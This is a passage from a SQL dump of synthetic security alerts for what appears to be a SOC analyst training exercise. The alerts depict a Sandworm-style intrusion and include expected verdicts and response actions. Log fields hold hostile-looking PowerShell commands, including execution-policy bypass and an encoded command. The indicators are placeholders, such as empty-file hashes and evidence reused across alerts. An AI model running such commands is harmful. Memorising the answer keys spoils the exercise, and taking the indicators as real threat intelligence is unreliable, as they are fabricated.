Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(523, 'Unauthorized SMB Traffic Observed', 'high', 'Network Traffic Analysis', 'An unauthorized SMB traffic pattern was detected indicating possible lateral movement within the network. The activity was flagged due to the use of known ransomware tactics to spread laterally across the network, utilizing the SMB protocol.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T13:45:00Z\",\"event_id\":\"SMB-ALERT-004\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.25\",\"attacker_ip\":\"203.0.113.45\",\"protocol\":\"SMB\",\"detected_filename\":\"ransomware_payload.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"john_doe\",\"action\":\"File Transfer\",\"status\":\"Suspicious\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host receiving unauthorized SMB traffic.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP linked to ransomware distribution.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"malicious\",\"details\":\"File named associated with ransomware operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(524, 'Encrypted Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) System', 'Anomalous outbound traffic detected from an internal host to a known malicious IP. The traffic pattern suggests an attempt to exfiltrate encrypted files, which could potentially be used for ransom. The files in question were detected on host 192.168.1.23 and attempted to connect to external IP 203.0.113.45.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_source\":\"DLP System\",\"internal_ip\":\"192.168.1.23\",\"external_ip\":\"203.0.113.45\",\"detected_files\":[{\"filename\":\"confidential_data.enc\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}],\"username\":\"jsmith\",\"action\":\"attempted_exfiltration\",\"network_protocol\":\"HTTPS\",\"file_size\":\"15MB\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to encrypted file detected during exfiltration attempt.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.enc\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_dlp\",\"verdict\":\"suspicious\",\"details\":\"Filename indicative of sensitive encrypted data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jsmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"employee_directory\",\"verdict\":\"clean\",\"details\":\"Username of the individual using the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(525, 'Initial Breach Detected: Unauthorized Network Access', 'high', 'Network Traffic Analysis', 'The attackers exploited a vulnerability in the event\'s ticketing system to enter the network. This marks the first step in their infiltration, indicating a sophisticated approach to gaining a foothold within the target\'s network.', 'Initial Access', 'T1190 - Exploit Public-Facing Application', 1, 'closed', 1, '{\"timestamp\":\"2023-10-15T14:56:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"request_url\":\"https://event.ticketing.com/login\",\"exploit_used\":\"CVE-2023-XXXX\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"exploit_payload.bin\",\"username\":\"compromised_user\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by initial access.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Sandworm.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exploit_payload.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in exploitation attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Activity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual login activity detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(526, 'Malicious Script Execution: Ceremony Systems Compromised', 'high', 'Endpoint Detection and Response (EDR)', 'A carefully crafted script was executed on key systems involved in the ceremony, initiating a sequence of disruptions. The script is linked to known Sandworm TTPs, aiming to deploy destructive malware within the ceremony\'s IT infrastructure.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:23Z\",\"hostname\":\"ceremony-server-01\",\"username\":\"admin_ceremony\",\"process\":\"/usr/bin/powershell\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\Public\\\\malicious_script.ps1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"internal_ip\":\"10.10.5.23\",\"external_ip\":\"185.143.223.101\",\"filename\":\"malicious_script.ps1\",\"process_id\":4721,\"malware_family\":\"Olympic Destroyer\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.10.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with the compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.143.223.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"External IP address associated with known Sandworm operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Olympic Destroyer malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Script file executed on the server, related to the malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(527, 'Persistence Mechanism Activated: Backdoors Installed', 'high', 'System Logs', 'The threat actors associated with the Sandworm group have successfully installed backdoors on multiple systems within the network. This action is part of their persistence strategy to maintain access even if initial access vectors are mitigated. The logs indicate suspicious activity from an external IP address linked with known malicious activity.', 'Persistence', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":4625,\"source_ip\":\"185.92.220.33\",\"username\":\"compromised_user\",\"command_executed\":\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\",\"file_created\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"file_hash\":\"2c1743a391305fbf367df8e4f069f9f9\",\"internal_ip\":\"192.168.1.15\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Sandworm group activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"User account observed in unusual activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2c1743a391305fbf367df8e4f069f9f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known backdoor executable\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host showing signs of compromise\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(528, 'Lateral Movement: Spreading Through Critical Systems', 'high', 'Internal Network Monitoring', 'The threat actor is engaging in lateral movement within the network, targeting critical systems essential for the ceremony\'s operation. The objective is to identify and disrupt key systems, potentially using malware associated with known destructive campaigns.', 'Lateral Movement', 'T1550: Use Alternate Authentication Material', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.10.25\",\"dst_ip\":\"192.168.1.100\",\"src_port\":445,\"dst_port\":135,\"protocol\":\"SMB\",\"username\":\"ceremony_admin\",\"file_accessed\":\"Olympic_Destroyer.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"external_malicious_ip\":\"203.0.113.45\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_db\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_asset_db\",\"verdict\":\"internal\",\"details\":\"Critical internal server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Olympic_Destroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known malware associated with Olympic Destroyer campaign.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Olympic Destroyer malware.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Sandworm activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(529, 'Data Exfiltration: Sensitive Information Targeted', 'high', 'Data Loss Prevention (DLP)', 'In a final move, data is exfiltrated, possibly containing sensitive information that can be leveraged in future operations or sold on the black market. The threat actor utilized a compromised internal server to transmit sensitive documents to an external IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:08Z\",\"internal_source_ip\":\"192.168.45.22\",\"external_destination_ip\":\"203.0.113.57\",\"user\":\"jdoe\",\"exfiltrated_files\":[\"confidential_report.pdf\",\"financial_summary.xlsx\"],\"malware_hash\":\"4a8a08f09d37b73795649038408b5f33\",\"protocol\":\"HTTPS\",\"destination_port\":443,\"alert_id\":\"DLP-EXFIL-20231015-001\",\"detected_by\":\"Company DLP System\",\"associated_campaign\":\"Olympic Destroyer\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known exfiltration attempts by Sandworm APT\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.45.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Compromised internal server used for data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4a8a08f09d37b73795649038408b5f33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with Sandworm campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Data Loss Prevention Logs\",\"verdict\":\"suspicious\",\"details\":\"File flagged during exfiltration attempt\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 